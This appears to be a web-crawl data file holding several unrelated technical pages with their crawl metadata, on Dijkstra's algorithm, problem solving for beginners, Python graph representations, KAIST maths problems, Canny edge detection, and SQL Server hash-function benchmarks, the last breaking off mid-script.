$O(|E|+\\operatorname {diam} (G))$",
null,
"that depends on the weighted diameter of a graph with integer edge weights (Dial 1969). The use of a Van Emde Boas tree as the priority queue brings the complexity to $O(|E|\\log \\log C)$",
null,
"(Ahuja et al. 1990). Another interesting variant based on a combination of a new radix heap and the well-known Fibonacci heap runs in time $O(|E|+|V|{\\sqrt {\\log C}})$",
null,
"(Ahuja et al. 1990). Finally, the best algorithms in this special case are as follows. The algorithm given by (Thorup 2000) runs in $O(|E|\\log \\log |V|)$",
null,
"time and the algorithm given by (Raman 1997) runs in $O(|E|+|V|\\min\\{(\\log |V|)^{1/3+\\varepsilon },(\\log C)^{1/4+\\varepsilon }\\})$",
null,
"time.\n\nAlso, for directed acyclic graphs, it is possible to find shortest paths from a given starting vertex in linear $O(|E|+|V|)$",
null,
"time, by processing the vertices in a topological order, and calculating the path length for each vertex to be the minimum length obtained via any of its incoming edges.\n\nIn the special case of integer weights and undirected connected graphs, Dijkstra's algorithm can be completely countered with a linear $O(|E|)$",
null,
"complexity algorithm, given by (Thorup 1999).\n\n## Related problems and algorithms\n\nThe functionality of Dijkstra's original algorithm can be extended with a variety of modifications. For example, sometimes it is desirable to present solutions which are less than mathematically optimal. To obtain a ranked list of less-than-optimal solutions, the optimal solution is first calculated. A single edge appearing in the optimal solution is removed from the graph, and the optimum solution to this new graph is calculated. Each edge of the original solution is suppressed in turn and a new shortest-path calculated. The secondary solutions are then ranked and presented after the first optimal solution.\n\nDijkstra's algorithm is usually the working principle behind link-state routing protocols, OSPF and IS-IS being the most common ones.\n\nUnlike Dijkstra's algorithm, the Bellman–Ford algorithm can be used on graphs with negative edge weights, as long as the graph contains no negative cycle reachable from the source vertex s. The presence of such cycles means there is no shortest path, since the total weight becomes lower each time the cycle is traversed. (This statement assumes that a \"path\" is allowed to repeat vertices. In graph theory that is normally not allowed. In theoretical computer science it often is allowed.) It is possible to adapt Dijkstra's algorithm to handle negative weight edges by combining it with the Bellman-Ford algorithm (to remove negative edges and detect negative cycles), such an algorithm is called Johnson's algorithm.\n\nThe A* algorithm is a generalization of Dijkstra's algorithm that cuts down on the size of the subgraph that must be explored, if additional information is available that provides a lower bound on the \"distance\" to the target. This approach can be viewed from the perspective of linear programming: there is a natural linear program for computing shortest paths, and solutions to its dual linear program are feasible if and only if they form a consistent heuristic (speaking roughly, since the sign conventions differ from place to place in the literature). This feasible dual / consistent heuristic defines a non-negative reduced cost and A* is essentially running Dijkstra's algorithm with these reduced costs. If the dual satisfies the weaker condition of admissibility, then A* is instead more akin to the Bellman–Ford algorithm.\n\nThe process that underlies Dijkstra's algorithm is similar to the greedy process used in Prim's algorithm. Prim's purpose is to find a minimum spanning tree that connects all nodes in the graph; Dijkstra is concerned with only two nodes. Prim's does not evaluate the total weight of the path from the starting node, only the individual edges.\n\nBreadth-first search can be viewed as a special-case of Dijkstra's algorithm on unweighted graphs, where the priority queue degenerates into a FIFO queue.\n\nThe fast marching method can be viewed as a continuous version of Dijkstra's algorithm which computes the geodesic distance on a triangle mesh.\n\n### Dynamic programming perspective\n\nFrom a dynamic programming point of view, Dijkstra's algorithm is a successive approximation scheme that solves the dynamic programming functional equation for the shortest path problem by the Reaching method.\n\nIn fact, Dijkstra's explanation of the logic behind the algorithm, namely\n\nProblem 2. Find the path of minimum total length between two given nodes $P$",
null,
"and $Q$",
null,
".\n\nWe use the fact that, if $R$",
null,
"is a node on the minimal path from $P$",
null,
"to $Q$",
null,
", knowledge of the latter implies the knowledge of the minimal path from $P$",
null,
"to $R$",
null,
".\n\nis a paraphrasing of Bellman's famous Principle of Optimality in the context of the shortest path problem."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8799035,"math_prob":0.95891774,"size":33014,"snap":"2019-51-2020-05","text_gpt3_token_len":7567,"char_repetition_ratio":0.16076946,"word_repetition_ratio":0.021624671,"special_character_ratio":0.24004968,"punctuation_ratio":0.12861018,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99355,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,3,null,10,null,10,null,4,null,2,null,6,null,null,null,9,null,null,null,null,null,9,null,3,null,3,null,9,null,3,null,8,null,8,null,8,null,8,null,3,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-12-15T07:54:10Z\",\"WARC-Record-ID\":\"<urn:uuid:812b2042-23ae-4894-a61d-79a43cadfd75>\",\"Content-Length\":\"225356\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d7910c35-84dc-4faa-af45-3e848f499e28>\",\"WARC-Concurrent-To\":\"<urn:uuid:bee3186f-3d3c-4b5d-9485-d3bfbb6d3fa7>\",\"WARC-IP-Address\":\"208.80.154.224\",\"WARC-Target-URI\":\"https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm\",\"WARC-Payload-Digest\":\"sha1:DFJ52NJ6SFZVKOHDS6PN6LTFG5GZVD6L\",\"WARC-Block-Digest\":\"sha1:3VC3PJPMJPKZXSTAR4PUZBGS4XX6G4S3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-51/CC-MAIN-2019-51_segments_1575541307797.77_warc_CC-MAIN-20191215070636-20191215094636-00471.warc.gz\"}"} |
https://ctrly.blog/problem-solving-without-code/ | [
"# Practice Problem Solving for Web Development without Code\n\nIf you are deciding that making a career change into web development is your next move, you have probably researched the soft skills that you will need. Doing a quick Google search on soft skills for programming you will find problem-solving as one of the skills often listed. Let’s make three exercises using everyday tasks that will help you to practice problem-solving without writing code.\n\nProblem-solving is a skill that may remind you of a high school standardized test. If you are hesitant to learn how to problem solve because of that high school memory, please stop. Most of the problems you will face do not resemble a standardized test at all.\n\nAlso, you can throw away the fear of not getting the correct answer. A programmer does not write the correct code. A correct answer implies that, like in math, there is only one answer. Because you can solve the same problem in multiple ways, a programmer writes the best code she/he can write.\n\nProblems that you will face in the web development world require imagination and mental mapping because computer processes are abstract. Therefore, the more you practice writing code, the more familiar you get with processes. Also, practice makes code easier to understand so you are ready when the problem arrives.\n\nBut you do not need to start writing code to sharpen your problem-solving skills for web development purposes. Because a computer’s job is to follow a set of instructions, problem-solving revolves around understanding steps and following instructions. Keep this methodology in mind once you start to write code and you will see that it will be easier to detect problems and solve them.\n\nThe problem-solving without code exercises that we will discuss are:\n\n## 1. Step: DIY (Do it Yourself) furniture and food recipes\n\nWriting, reading, and following instructions for mounting furniture or preparing a food recipe are great examples of stepping through processes to obtain a known result.\n\nThese activities require detailed step-by-step instructions so someone else, or yourself can follow them on a future occasion. So if you were the steps writer or reader, understanding the order of the part assembly or food preparation is the essential key in understanding future problems.\n\nLet’s say that a chair I mounted has a squeaky sound, or the mofongo stuffed with chicken that I prepared didn’t taste as expected. If I wanted to understand where the misstep was so it won’t happen again, I would go back to the beginning of the instructions and verify each step.\n\nThe same goes for coding. Even if it seems a longer process, stepping through the code when searching for the cause of a bug will help you solve the problem faster.\n\nOnce you find that bug, it is up to your combination of creativity and understanding of instructions for the desired results that will help create multiple solutions.\n\n## 2. Segment: Order of mathematical operations\n\nLet’s do a quick recap of what is the order of mathematical operations. It is a set of rules that decide which method (addition, subtraction, etc.) is performed first when evaluating a math equation. The order goes as:\n\n1. Parentheses\n2. Exponents and roots\n3. Multiplication and division\n\nIf we have some equation like:\n\n``(3 * 4) + (2 * 6) ``\n\nApplying the order of equations would look like this:\n\n``````(3 * 4) = 12 // First step - Solve first parentheses\n(2 * 6) = 12 // Second step - Solve second parentheses\n12 + 12 = 24 // Third step - Add the result of both parentheses``````\n\nNotice how this solving method requires us to restructure the equation (3 * 4) + (2 * 6). It isolates each segment it into (3 * 4), (2 * 6) and (12 + 12). It solves each segment between parenthesis and finally, solves the operation between segments.\n\nNot only do programming languages also follow these orders of math operations, but also almost every coding problem can be segmented or isolated into smaller ones.\n\nEvery time I remind myself to try and segment even more the problem that I am having while writing code, it seems as if I get to the aha moment quicker.\n\n## 3. A Typical User Login\n\nSo, let’s do what we came here for, step through a web development problem without having to code!\n\nIn the article The Programming Pedestal, I described in a high-level way the process of creating a user account.\n\nFor the sake of this example, let’s assume that you already know how to create an online account, and now you just want to log in to your account. But oh, oh! You cannot log in but there is no message displaying the error.\n\nBy using the step and segment techniques described earlier, let’s figure out what may be the problem and create possible solutions.\n\n### What are the usual steps you follow when login into an account?\n\n1. Locate the user login section.\n3. Click the Submit button.\n4. Wait for the webpage to display the account profile.\n\n### From those steps, can you segment even more those steps?\n\nYou can segment the second step into two more steps:\n\nAnd also you can segment the third step into:\n\n1. Click Submit button.\n2. Submit button calls a function.\n3. The function that validates the data.\n4. The function sends data to the database.\n\n### So let’s step again through the login process:\n\n1. Locate the user login section.\n4. Click the Submit button.\n5. Submit button calls a function.\n6. The function validates data.\n7. The function sends data to the database.\n8. Wait for the webpage to display the account profile.\n\nAlright! It seems that to step through the process again will take longer, but remember, the more detailed the steps, the easier it will get to find a possible issue.\n\nNow let’s assume that this particular webpage has a username character requirement. And let’s assume that after reading the username character requirement, you remembered that the password you entered was the incorrect one. After correcting the password, the function validates the information and you gain access to your user account.\n\nI know that the example had a lot of assumptions. The point is that when a problem arrives, always verify the steps you performed and try to segment even more of the steps.\n\nPractice this technique with your everyday activities. So, when you start coding, writing programs and debugging will come easier because you trained your mind to step and segment processes."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.91052926,"math_prob":0.71197134,"size":7583,"snap":"2023-40-2023-50","text_gpt3_token_len":1561,"char_repetition_ratio":0.11070062,"word_repetition_ratio":0.054711245,"special_character_ratio":0.21073453,"punctuation_ratio":0.096706375,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95026666,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-04T20:43:46Z\",\"WARC-Record-ID\":\"<urn:uuid:66fc88fc-3352-412b-86ac-879245736ac9>\",\"Content-Length\":\"78594\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1c602ef1-d5a9-4cc9-a235-10227b4b1c9e>\",\"WARC-Concurrent-To\":\"<urn:uuid:81886940-4b40-4fd7-a3c1-afd784e7cbea>\",\"WARC-IP-Address\":\"151.101.2.159\",\"WARC-Target-URI\":\"https://ctrly.blog/problem-solving-without-code/\",\"WARC-Payload-Digest\":\"sha1:FSA2TOFCGLRRDYQRDXUU3BC65ENM6GAR\",\"WARC-Block-Digest\":\"sha1:Z5HMZKHCR4RBLEFXJ7WNUSD5OSBGQLV7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100534.18_warc_CC-MAIN-20231204182901-20231204212901-00117.warc.gz\"}"} |
https://codereview.stackexchange.com/questions/163414/adjacency-list-graph-representation-on-python | [
"# Adjacency List Graph representation on python\n\nI began to have my Graph Theory classes on university, and when it comes to representation, the adjacency matrix and adjacency list are the ones that we need to use for our homework and such. At the beginning I was using a dictionary as my adjacency list, storing things like this, for a directed graph as example:\n\ngraph = {\n0: [1, 2, 4],\n1: [2, 3],\n2: [],\n3: ,\n4: ,\n}\n\n\nThere was no problem, since the graphs I was dealing with had no weight in their edges, and if I wanted to represent an undirected graph, just had to \"mirror\" the edges. Now I'm facing a problem with the representation in adjacency list for weighted graphs, being directed or undirected.\n\nSo far, this is what I'm using:\n\nclass Graph:\n\ndef __init__(self, vertices, is_undirected=True):\nself.__v = vertices # number of vertices\nself.__edge_list = [] # store the edges and their weight\nself.__is_undirected = is_undirected # True for undirected graphs\n\n# method for adding an edge to the graph\nself.__edge_list.append([u, v, w if w else 1])\n# in case it is an undirected graph,\n# replicate edge in opposite way\nif self.__is_undirected:\nself.__edge_list.append([v, u, w if w else 1])\n\n\nAnd this is the method for making my adjacency list using the __edge_list:\n\ndef make_adjacency_list(self):\nadj_list = {key: [] for key in range(self.__v)}\nfor edge in self.__edge_list:\n# where edge is the destiny and edge the weight\nedge_val = {edge: edge}\n\n\nAlso, the graph will be generated from a file, formatted as such:\n\n0 # 0 for directed graph\n5 # number of vertices\n0 2 4 # edge from u to v, with w weight\n0 4 60\n0 3 23\n2 3 4\n3 1 10\n4 2 15\n\n\nThis results in the following:\n\n0 = [{2: 4}, {4: 60}, {3: 23}]\n1 = []\n2 = [{3: 4}]\n3 = [{1: 10}]\n4 = [{2: 15}]\n\n\nThe problem with this is that is becomes very hard, at least for me, to recover the data for each edge from my adjacency list, so I was wondering if this the right way to do it, or if I can be more efficient in what I'm trying to do. My current algorithms for BFS(breadth first search), DFS( depth first search), Kruskal, Prim and Djikstra are having problems in this structure I made, but I can't see another way of doing it unless I move the adjacency list in a separate class.\n\nLastly, and code-improvement/advice in more pythonic ways of doing things would be welcome. I tried as best as I could to make this code clean, but now it is a mess(not proud of that). If there's need of any other bit of code or clarification I'll answer as best as I can. I tried going to the professor, but he's more of a Java person, so he couldn't help much.\n\n• I would just use Sage. It is well known to have an extensive graph theory library. Unless you need to reimplement stuff.\n– Dair\nMay 15, 2017 at 22:31\n• That's my problem. We can't use something that is already done. That's why I went in the dictionary direction May 16, 2017 at 13:29\n• It might be better to have each neighbor for the node stored as a set, to make lookups constant. For reference, here is a good article on how to implement an adjacency list in Python. Mar 14, 2020 at 19:32\n\nHere are two ways you could represent a graph with weighted edges in Python:\n\n1. Represent a graph as a mapping from a node $n$ to a mapping from neighbouring node $m$ to the weight $w$ of the edge from $n$ to $m$:\n\ngraph = {\n0: {2: 4, 4: 60, 3: 23},\n1: {},\n2: {3: 4},\n3: {1: 10},\n4: {2: 15},\n}\n\n2. Represent a graph as a pair of mappings: one from a node $n$ to a list of its neighbouring nodes, and the other from pairs of nodes $n, m$ to the weight $w$ of the edge from $n$ to $m$:\n\ngraph = {\n0: [2, 4, 3],\n1: [],\n2: ,\n3: ,\n4: ,\n}\nweights = {\n(0, 2): 4,\n(0, 4): 60,\n(0, 3): 23,\n(2, 3): 4,\n(3, 1): 10,\n(4, 2): 15,\n}\n\n\nEither of these representations should work fine. Representation (2) would be good if you need to iterate over all the edges at some point in your algorithm. Representation (1) is the simplest and probably best if you have no special requirements.\n\n1. You don't even need .keys() — in Python, iterating over a dictionary yields its keys, so you can write:\n\nfor m in graph[n]:\n# m is a neighbour of n\n\n2. Yes, defaultdict is a useful technique for building graphs. In representation (1) you'd start with:\n\ngraph = defaultdict(dict)\n\n\nand then add an edge from $n$ to $m$ with weight $w$ by writing:\n\ngraph[n][m] = w\n\n\ngraph = defaultdict(list)\nedges = {}\n\n\nand then add an edge from $n$ to $m$ with weight $w$ by writing:\n\ngraph[n].append(m)\nedges[n, m] = w\n\n• My thnkas for your answer, I was thinking in something along this lines. In the first case, is there any way I could iterate in the neighbours? like in a for i in graph: for instance? In this case, I don't care about the weights, just the keys. May 16, 2017 at 19:25\n• Also, is this a case where using the defaultdict from collections would be better than declaring an empty dictionary for initialization? I am not a beginner, but still don't have exactly sure what is better for each case. May 16, 2017 at 19:35\n• I just realized that I can use .keys() in that case. I fell kind of stupid. I'll wait for your return about the defaultdict question above and mark this as solved. May 16, 2017 at 20:17\n• @inblank: See revised answer. May 16, 2017 at 21:06\n• Thanks @gareth-rees. You helped a lot, I will only have to do some tweaking in my previous algorithms to work in the new representation. I choose representation 1, since I can concentrate all representation in one single class variable. Marking as solved. May 16, 2017 at 21:34"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.93252534,"math_prob":0.8370913,"size":2762,"snap":"2022-27-2022-33","text_gpt3_token_len":757,"char_repetition_ratio":0.13451776,"word_repetition_ratio":0.01192843,"special_character_ratio":0.29978275,"punctuation_ratio":0.15191987,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9903361,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-08-15T00:15:38Z\",\"WARC-Record-ID\":\"<urn:uuid:4797e655-edb8-4513-9926-4075ed4ea967>\",\"Content-Length\":\"240860\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cf35e3be-10c3-4701-a05f-547c4909a9cc>\",\"WARC-Concurrent-To\":\"<urn:uuid:cfa52985-ef6e-4641-8995-f7019b8d4a32>\",\"WARC-IP-Address\":\"151.101.193.69\",\"WARC-Target-URI\":\"https://codereview.stackexchange.com/questions/163414/adjacency-list-graph-representation-on-python\",\"WARC-Payload-Digest\":\"sha1:2ATAPGX263GQANGKN4MUFDMQ7PTNNSJW\",\"WARC-Block-Digest\":\"sha1:6IYHFUU4DLYBD5F5AWH6HDMKXDJMUWEA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-33/CC-MAIN-2022-33_segments_1659882572089.53_warc_CC-MAIN-20220814234405-20220815024405-00409.warc.gz\"}"} |
https://mathsci.kaist.ac.kr/pow/2022/09/ | [
"# 2022-17 The smallest number of subsets\n\nLet $$n, i$$ be integers such that $$1 \\leq i \\leq n$$. Each subset of $$\\{ 1, 2, \\ldots, n \\}$$ with $$i$$ elements has the smallest number. We define $$\\phi(n,i)$$ to be the sum of these smallest numbers. Compute $\\sum_{i=1}^n \\phi(n,i).$\n\nGD Star Rating\n\n# Solution: 2022-15 A determinant of Stirling numbers of second kind\n\nLet $$S(n,k)$$ be the Stirling number of the second kind that is the number of ways to partition a set of $$n$$ objects into $$k$$ non-empty subsets. Prove the following equality $\\det\\left( \\begin{matrix} S(m+1,1) & S(m+1,2) & \\cdots & S(m+1,n) \\\\ S(m+2,1) & S(m+2,2) & \\cdots & S(m+2,n) \\\\ \\cdots & \\cdots & \\cdots & \\cdots \\\\ S(m+n,1) & S(m+n,2) & \\cdots & S(m+n,n) \\end{matrix} \\right) = (n!)^m$\n\nThe best solution was submitted by 기영인 (KAIST 22학번, +4). Congratulations!\n\nOther solutions were submitted by 김기수 (KAIST 수리과학과 18학번, +3), 김찬우 (연세대학교 수학과, +3). Late solutions were not graded.\n\nGD Star Rating\n\n# 2022-16 Identity for continuous functions\n\nFor a positive integer $$n$$, find all continuous functions $$f: \\mathbb{R} \\to \\mathbb{R}$$ such that\n$\\sum_{k=0}^n \\binom{n}{k} f(x^{2^k}) = 0$\nfor all $$x \\in \\mathbb{R}$$.\n\nGD Star Rating\n\n# Solution: 2022-14 The number of eigenvalues of a symmetric matrix\n\nFor a positive integer $$n$$, let $$B$$ and $$C$$ be real-valued $$n$$ by $$n$$ matrices and $$O$$ be the $$n$$ by $$n$$ zero matrix. Assume further that $$B$$ is invertible and $$C$$ is symmetric. Define $A := \\begin{pmatrix} O & B \\\\ B^T & C \\end{pmatrix}.$ What is the possible number of positive eigenvalues for $$A$$?\n\nThe best solution was submitted by 김기수 (KAIST 수리과학과 18학번, +4). Congratulations!\n\nGD Star Rating\n\n# 2022-15 A determinant of Stirling numbers of second kind\n\nLet $$S(n,k)$$ be the Stirling number of the second kind that is the number of ways to partition a set of $$n$$ objects into $$k$$ non-empty subsets. Prove the following equality $\\det\\left( \\begin{matrix} S(m+1,1) & S(m+1,2) & \\cdots & S(m+1,n) \\\\ S(m+2,1) & S(m+2,2) & \\cdots & S(m+2,n) \\\\ \\cdots & \\cdots & \\cdots & \\cdots \\\\ S(m+n,1) & S(m+n,2) & \\cdots & S(m+n,n) \\end{matrix} \\right) = (n!)^m$\n\nGD Star Rating\n\n# Solution: 2022-13 Inequality involving sums with different powers\n\nProve for any $$x \\geq 1$$ that\n\n$\\left( \\sum_{n=0}^{\\infty} (n+x)^{-2} \\right)^2 \\geq 2 \\sum_{n=0}^{\\infty} (n+x)^{-3}.$\n\nThe best solution was submitted by 김기수 (KAIST 수리과학과 18학번, +4). Congratulations!\n\nAnother solution was submitted by 김찬우 (연세대학교 수학과, +3).\n\nGD Star Rating\n\n# 2022-14 The number of eigenvalues of a symmetric matrix\n\nFor a positive integer $$n$$, let $$B$$ and $$C$$ be real-valued $$n$$ by $$n$$ matrices and $$O$$ be the $$n$$ by $$n$$ zero matrix. Assume further that $$B$$ is invertible and $$C$$ is symmetric. Define $A := \\begin{pmatrix} O & B \\\\ B^T & C \\end{pmatrix}.$ What is the possible number of positive eigenvalues for $$A$$?\n\nGD Star Rating\nProve for any $$x \\geq 1$$ that\n$\\left( \\sum_{n=0}^{\\infty} (n+x)^{-2} \\right)^2 \\geq 2 \\sum_{n=0}^{\\infty} (n+x)^{-3}.$"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7055476,"math_prob":1.0000076,"size":2896,"snap":"2023-40-2023-50","text_gpt3_token_len":1099,"char_repetition_ratio":0.11998617,"word_repetition_ratio":0.69341564,"special_character_ratio":0.39951658,"punctuation_ratio":0.14826499,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000092,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-06T10:36:13Z\",\"WARC-Record-ID\":\"<urn:uuid:860877f1-c5a3-4361-b910-e35080cb56de>\",\"Content-Length\":\"81424\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b3ce83d5-fc1e-4055-be2e-f1ffff8b8687>\",\"WARC-Concurrent-To\":\"<urn:uuid:ecc8f481-5adc-47f2-835b-331f2e25cc1b>\",\"WARC-IP-Address\":\"143.248.27.129\",\"WARC-Target-URI\":\"https://mathsci.kaist.ac.kr/pow/2022/09/\",\"WARC-Payload-Digest\":\"sha1:TEFGHQHNWBPSYOS7F7DHBBCIZYO3FTBD\",\"WARC-Block-Digest\":\"sha1:5EZYIXYUMFV4I5J2FXQHH4FLQXUJOQN3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100593.71_warc_CC-MAIN-20231206095331-20231206125331-00859.warc.gz\"}"} |
https://dsp.stackexchange.com/questions/4716/differences-between-opencv-canny-and-matlab-canny/6445 | [
"# Differences between OpenCV Canny and MatLab Canny?\n\ndoes anyone know why the MatLab Canny (MLC) is so different compared to the OpenCV Canny (OCC)? ML-C delivers precise and more connected edges than the OCC, but how is that possible? The reason why I ask is, that I need to implement my protoype of ML code into C++ and I wanted to use OpenCV. Exporting code of ML isn't really possible as far as I have tried.\n\nKind regards,\n\n• Did you check the thresholds and other parameters settings? If you don't supply them, they are chosen automatically, and the strategy can vary. – Andrey Rubshtein Oct 18 '12 at 22:46\n• Hey Andrey, I know that they are provided automatically if you don't set them. I checked the thresholds and varied them, but results aren't of the same quality as the ML results with any combination. – mchlfchr Oct 19 '12 at 6:09\n• As far as I know that OpenCV is using Sobel for the gradients. Maybe ML is using an approximation of Gauss for the gradients, because it models the properties of edges in a better way? regards, – mchlfchr Oct 22 '12 at 16:35\n• You can type edit edge in Matlab, and see the relevant case. It is all open-source - no built-ins as far as I know. – Andrey Rubshtein Oct 22 '12 at 16:55\n• Yes, I know, but for some routines (like the gradient calculus) you can't go deeper. And the routine of the Canny is very long, so I thought someone here already has made that experience. ;) So I was wrong, because nobody gave me an answer on that. – mchlfchr Oct 23 '12 at 7:49\n\nAs suggested above, the Matlab Canny edge detector calculates the gradient using a \"derivative of a Gaussian filter\" (as stated in the documentation). In other words, Matlab does a Gaussian blur of the image and then finds the gradient of that smoothed image... all using a single fancy filter. [If you want to know the details, just type in edit edge as Andrey suggested, and then scroll down to the smoothGradient() function.]\n\nThe blurring operation significantly reduces the amount of noise present in the image, eliminating many spurious edges and leaving behind the good stuff.\n\nUnfortunately, the OpenCV Canny function doesn't let you change the filter kernel it uses via the function parameters. However. You can generate the same results by first blurring the input image, and then passing this blurred image into the Canny function.\n\nThis significantly cleans up the resulting edge map. To blur the input image, I personally use OpenCV's GaussianBlur() function with sigmaX=2. This mimics the default sigma in Matlab. The best blurring kernel size can vary from case to case, but in Matlab it is calculated using filterLength = 8*ceil(sigma);, so for a sigma of 2 that would mean a kernel size of (16,16)\n\nSince both the Gaussian Blur and Sobel filters are linear, passing a blurred input image to the OpenCV Canny() function is mathematically equivalent to what Matlab does because of the principle of superposition, as demonstrated in this pseudocode (note: * is the convolution operator):\n\n// The Matlab method: the sobel and blur operations are combined into\n// a single filter, and that filter is then convolved with the image\nmatlabFancyFilter = (sobel * blur);\n\nsmoothedInput = cv2.GaussianBlur(image, (7,7), 2);"
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http://kejser.org/exploring-hash-functions-in-sql-server/ | [
"# Exploring Hash Functions in SQL Server\n\nHash distributing rows is a wonderful trick that I often apply. It forms one of the foundations for most scale-out architectures. It is therefore natural to ask which hash functions are most efficient, so we may chose intelligently between them.\n\nIn this blog post, I will benchmark the build in function in SQL Server. I will focus on answering two questions:\n\n• How fast is the hash function?\n• How well does the hash function spread data over a 32-bit integer space\n\nI know there is also the question about how cryptographically safe the function is, but this is not a necessary property for scale-out purposes – hence, that aspect is out of scope for this blog.\n\nFor the picky people (my dear soul mates): I will be using 1K = 1024 in the following, so 64K = 65536.\n\nTest data\nBecause we sometimes find ourselves hashing dimension keys, I will use a very simply table with a nice key range as my test input. Such a key range could for example have been generated by an IDENTITY(1,1) column or a SEQUENCER. Here is the test script that generates the input:\n\nCREATE TABLE CustKey (SK INT NOT NULL)\n\nINSERT INTO CustKey WITH (TABLOCK) (SK)\nSELECT n FROM dbo.fn_nums(10000000)\n\n(see my previous post for the fn_nums source)\n\n### Speed of the Hash function\n\nSQL Server exposes a series of hash functions that can be used to generate a hash based on one or more columns.\n\nThe most basic functions are CHECKSUM and BINARY_CHECKSUM. These two functions each take a column as input and outputs a 32-bit integer.\n\nInside SQL Server, you will also find the HASHBYTES function. This little gem can generate hashes using MD2, MD4, MD5, SHA and SHA1 algorithms. The problem for the purpose of our test is that these function spit out BINARY types, either 128 bits (for SHA) or 160 bits (for MD). However, we can quickly map that value into the integer space by doing a modulo (in SQL: %) with MaxInt (2**31 – 1). Interetingly, Modulo work directly on values of BINARY in SQL Server.\n\nBefore I move on the results, I would like share a little trick. When you need to get the raw CPU speed of the hash, you may be tempted to do something like this:\n\nSELECT BINARY_CHECKSUM(SK) AS h\nFROM CustKey\n\nBut this is wrong. Why? Because you are both measuring the time it takes to hash as well as the time it takes to transfer the rows to the client. This is not very useful, on my laptop it takes over two minutes to run the above query.\n\nInstead, you should try to measure the raw time the server needs to calculate the data. One way to achieve this (and this trick can be used on most queries you benchmark) is to wrap the SELECT statement in a MAX function. Like this:\n\nSELECT MAX(h)\nFROM (\nSELECT BINARY_CHECKSUM(SK) AS h\nFROM CustKey\n) noRows\nOPTION (MAXDOP 1)\n\nNotice something else interesting, I am forcing parallelism down to 1. I want to get as close to the raw cost of the CPU as possible – so I don’t want to clutter the query with any overhead of parallelism. The query now runs in a little less than 3 seconds on my laptop.\n\nI addition to the above trick, we also need to quantify the time SQL Server spends on just accessing the table. We can get a good approximation of this by measuring the SELECT statement without any hash function. On my laptop, I measured this to be around 3200 ms. In the results below, I have subtracted this runtime so we are only measuring the cost of the hashing.\n\nWith all this said, let us have a look at the results:",
null,
"• Notice that MD2 is very inefficient. I have not studied this algorithm in great detail and would appreciate a specialist commenting here.\n• Apart from the MD2 anomaly, the HASHBYTES functions all performan pretty much the same. Using around 1 micro sec per hash value calculation\n• BINARY_CHECKSUM and CHECKSUM are MUCH faster, by about an order of magnitude\n• Doing a simple modulo that spreads out the data over the integer space is about the same speed as CHECKSUM and BINARY_CHECKSUM\n• It is not the cast to NVARCHAR that uses CPU time (HASHBYTES requires NVARCHAR input)\n• However, the checksum function do take longer to run when you first cast to NVARCHAR. Costing around 100 ns per INT value\n\nOf course, the HASHBYTES functions also have other characteristics than speed which may be desired (cryptographic utility for example). but if you you want is speed, it looks like CHECKSUM and BINARY_CHECKSUM are faster.\n\nBut, let us see how good the functions are at spreading the data.\n\n### Spread of the Hash Function\n\nAnother desirable characteristic, apart from speed, of a hash function is how well it spreads values over the target bit space. This is useful not only for cryptographic purposes, but also to “bucket” data values into equal sized portions, for example in scale-out MPP architectures.\n\nOften, you will not know in advance how many buckets you eventually want to subdivide the integer space into. You may start out with 32K buckets and divide up the integer interval in 128K (32-bit space divided by 128K = 32K) even sized buckets, each with 128K values in them:\n\n• Bucket0: [MinInt…MinInt + 128K[\n• Bucket1: [MinInt + 128K…MinInt + 128K*2[\n• Bucket2: [MinInt + 128K*2…MinInt + 128K*3[\n• … etc..\n• Bucket 32K: [MinInt + 128K*32K…MaxInt]\n\nPerhaps you will later want a further subdivision into 64K buckets, each with 64K hash values.\n\nWise from the runtimes I measured before, I used only 1M rows with values [1…1M] for this test. However, this is plenty to show some good results, so don’t worry.\n\nTo avoid running chi-square testing (See later) of integer value spread all over the 32-bit space, I calculated the hash of each key and I then bucketed them into 64K bucket ranges (each with 64K values, neat isn’t it?).\n\nThis table comes in handy for that bucketing\n\nCREATE TABLE ExpectedBuckets\n(\nBucketID INT\n, RangeStart INT\n, RangeEnd INT)\n\nINSERT INTO ExpectedBuckets\nSELECT\nn\n,(n – 1 – POWER(2,15)) * POWER(2,16)\n, (n – POWER(2,15)) * POWER(2,16) – 